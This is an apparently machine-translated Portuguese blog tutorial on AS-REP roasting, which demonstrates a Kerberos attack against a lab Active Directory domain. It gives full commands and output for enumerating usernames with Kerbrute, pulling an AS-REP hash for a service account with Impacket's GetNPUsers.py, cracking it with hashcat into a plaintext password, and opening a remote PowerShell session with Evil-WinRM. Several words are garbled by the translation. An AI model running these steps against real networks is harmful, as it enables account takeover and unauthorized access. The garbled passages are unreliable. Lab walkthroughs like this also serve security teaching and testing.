Um Bilhete Por favor!
O que é Kerberos?
Kerberos é um protocolo de autenticação usado (normalmente) dentro de um ambiente de diretório ativo para provar a identidade de um dispositivo ao acessar recursos baseados em rede, como SMB, LDAP ou outros protocolos de rede. Legal, então thatilits como Kerberos funciona, agora como podemos quebrá-lo? Boa pergunta, caro leitor! Kerberos é um protocolo super abusável. O iHotell estará mostrando a você um vetor de ataque hoje que lhe dará acesso a uma conta de usuário, e tudo o que você precisa fazer é saber o nome de usuário (e a conta de usuário deve ter a Pré-Autenticação ativada… Mas isso está fora de nosso controle)!
Ferramentas
Primeiro, você precisará Empacotamento baixado em seu sistema.
┌─[root@Sp00kyS3c]─[~]
└──╼ #git clone https://github.com/SecureAuthCorp/impacket.git
Cloning into 'impacket'...
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 16908 (delta 2), reused 6 (delta 2), pack-reused 16892
Receiving objects: 100% (16908/16908), 5.57 MiB | 8.81 MiB/s, done.
Resolving deltas: 100% (12911/12911), done.
┌─[root@MrS1n1st3r]─[~]
└──╼ #cd impacket/examples/
┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #ls
atexec.py esentutl.py GetNPUsers.py getTGT.py ifmap.py lookupsid.py mssqlclient.py nmapAnswerMachine.py opdump.py psexec.py registry-read.py sambaPipe.py services.py smbrelayx.py sniff.py wmiexec.py
dcomexec.py GetADUsers.py getPac.py GetUserSPNs.py karmaSMB.py mimikatz.py mssqlinstance.py ntfs-read.py ping6.py raiseChild.py reg.py samrdump.py smbclient.py smbserver.py split.py wmipersist.py
dpapi.py getArch.py getST.py goldenPac.py kintercept.py mqtt_check.py netview.py ntlmrelayx.py ping.py rdp_check.py rpcdump.py secretsdump.py smbexec.py sniffer.py ticketer.py wmiquery.py
┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #
Depois que você chegou a clonar o repositório Impacket, você está praticamente pronto para ir. O impacket/examples
pasta é onde você estará trabalhando principalmente. Nesta pasta, ele contém todas as principais ferramentas que você precisará usar para abuso de protocolo de rede. Dentro das outras pastas no impacket
diretório, existem outras ferramentas que são necessárias para fazê-lo funcionar. Então, não se preocupe muito com as outras pastas, como você estará trabalhando dentro da pasta de exemplos para a maior parte!
Em seguida, weilitll usar uma ferramenta chamada Kerbrute para forçar brutalmente os usuários na caixa
┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #wget https://github.com/ropnop/kerbrute/releases/download/v1.0.2/kerbrute_linux_amd64 -O kerbrute
<Snip>
2019-11-17 16:17:05 (7.95 MB/s) - ‘kerbrute’ saved [7831686/7831686]
┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #chmod +x kerbrute
┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #./kerbrute
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.2 (fd5f345) - 11/17/19 - Ronnie Flathers @ropnop
This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts
Usage:
kerbrute [command]
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist (use - for stdin)
help Help about any command
passwordspray Test a single password against a list of users (use - for stdin)
userenum Enumerate valid domain usernames via Kerberos from a list (use - for stdin)
version Display version info and quit
Flags:
--dc string The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
-d, --domain string The full domain to use (e.g. contoso.com)
-h, --help help for kerbrute
-o, --output string File to write logs to. Optional.
--safe Safe mode. Will abort if any user comes back as locked out. Default: FALSE
-t, --threads int Threads to use (default 10)
-v, --verbose Log failures and errors
Use "kerbrute [command] --help" for more information about a command.
Tudo bem, então vamos usar as duas ferramentas que baixamos, Kerbrute e GetNPUsers.py dentro do impacket para puxar uma conta de usuário, solicitar um ticket Kerberos e quebrar o hash para finalmente revelar a senha da conta de usuário e ganhar uma posição dentro da rede do Active Directory!
Bruto Forçando Usuários
┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #./kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d spookysec.local --dc 10.10.13.37
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.2 (fd5f345) - 11/17/19 - Ronnie Flathers @ropnop
2019/11/17 16:20:11 > Using KDC(s):
2019/11/17 16:20:11 > 10.10.13.37:88
2019/11/17 16:20:11 > [+] VALID USERNAME: mark@spookysec.local
2019/11/17 16:20:11 > [+] VALID USERNAME: molly@spookysec.local
2019/11/17 16:20:12 > [+] VALID USERNAME: ashu@spookysec.local
2019/11/17 16:20:13 > [+] VALID USERNAME: dark@spookysec.local
2019/11/17 16:20:16 > [+] VALID USERNAME: dan@spookysec.local
2019/11/17 16:20:23 > [+] VALID USERNAME: administrator@spookysec.local
2019/11/17 16:20:27 > [+] VALID USERNAME: svc-demo@spookysec.local
2019/11/17 16:20:55 > [+] VALID USERNAME: sebastian@spookysec.local
2019/11/17 16:22:23 > [+] VALID USERNAME: santiago@spookysec.local
2019/11/17 16:22:35 > [+] VALID USERNAME: lucy@spookysec.local
2019/11/17 16:23:00 > [+] VALID USERNAME: lily@spookysec.local
2019/11/17 16:24:55 > Done! Tested 8295455 usernames (11 valid) in 4 minutes
Revisando a saída, podemos ver que temos um punhado de usuários que podemos fazer o checkout. Existem vários usuários que devemos verificar imediatamente, Administrador e svc-demo. Isso provavelmente será uma conta de serviço não mantida com altos privilégios que poderíamos usar para ganhar uma posição na rede.
Agora podemos mudar para o impacket e dar uma olhada no GetNPUsers.py, aqui poderemos solicitar um Ticket para a conta de demonstração de svc e esperamos poder quebrar a senha do ticket!
Consultando um bilhete Kerberos
┌─[root@Sp00kyS3c]─[~/impacket/examples]
└──╼ #./GetNPUsers.py spookysec.local/svc-demo -request -no-pass -dc-ip 10.10.13.37
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Getting TGT for svc-demo
$krb5asrep$23$svc-demo@SPOOKYSEC.LOCAL:f1806292678070 <Snip!> 111f279122d10104b0cfe92c45dcca7eddf45d72eed33437a878b2e68cd844e5c5fd59fb2c72701db5a73ad18bf
Cracking Hashes
Lindo! Agora podemos enviá-lo para um arquivo e jogá-lo no Hashcat, usaremos o modo 18200 (para este ticket Kerberos específico)
Dependendo da versão do SO, da configuração do Active Directory, seu ticket Kerberos pode ser diferente. Você pode precisar de um modo diferente. Você pode ver todos eles aqui, sob o Exemplo Hashcat Hashes Página
┌─[✗]─[root@Sp00kyS3c]─[~/hashcat]
└──╼ #hashcat -a 0 -m 18200 ./ticket /usr/share/wordlists/rockyou.txt
hashcat (v5.1.0) starting...
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1070, 2029/8116 MB allocatable, 15MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
$krb5asrep$23$svc-demo@SPOOKYSEC.LOCAL:f1806292678070 <Snip!> 111f279122d10104b0cfe92c45dcca7eddf45d72eed33437a878b2e68cd844e5c5fd59fb2c72701db5a73ad18bf:Sup3rS3cr3tP4ssw0rd!
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$svc-demo@SPOOKYSEC.LOCAL:f1806292678070...bffc41
Time.Started.....: Sun Nov 17 16:38:47 2019 (1 sec)
Time.Estimated...: Sun Nov 17 16:38:48 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 9757.1 kH/s (6.50ms) @ Accel:512 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 4423680/14344385 (30.84%)
Rejected.........: 0/4423680 (0.00%)
Restore.Point....: 3932160/14344385 (27.41%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: seaford123 -> raain
Hardware.Mon.#1..: Temp: 41c Fan: 0% Util: 10% Core:1949MHz Mem:3802MHz Bus:16
Started: Sun Nov 17 16:38:45 2019
Stopped: Sun Nov 17 16:38:48 2019
Muito rapidamente nós quebramos a senha das contas de usuário. Se o RDP, WinRM ou SMB estiver aberto, agora podemos autenticar cada serviço com a senha da conta de usuário quebrada!
Ganhando Acesso com o Evil-WinRM
Evil-WinRM é um utilitário de acesso remoto que tira proveito da ferramenta de Gerenciamento Remoto do Windows, é super legal e super útil, pois lhe dará uma sessão powershell diretamente na caixa.
┌─[✗]─[root@Sp00kyS3c]─[~/hashcat]
└──╼ #gem install evil-winrm
Happy hacking! :)
Successfully installed evil-winrm-1.9
Parsing documentation for evil-winrm-1.9
Done installing documentation for evil-winrm after 5 seconds
1 gem installed
┌─[root@Sp00kyS3c]─[~/hashcat]
└──╼ #evil-winrm -i 10.10.13.37 -u svc-demo
Enter Password: Sup3rS3cr3tP4ssw0rd!
Evil-WinRM shell v1.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-demo\Documents> whoami
spookysec\svc-demo
*Evil-WinRM* PS C:\Users\svc-demo\Documents>
E sucesso! Agora temos uma posição no domínio! Há uma tonelada de ataques que podemos fazer a partir daqui, no entanto, há um post diferente para outro dia!
Comentários
Feito com 💚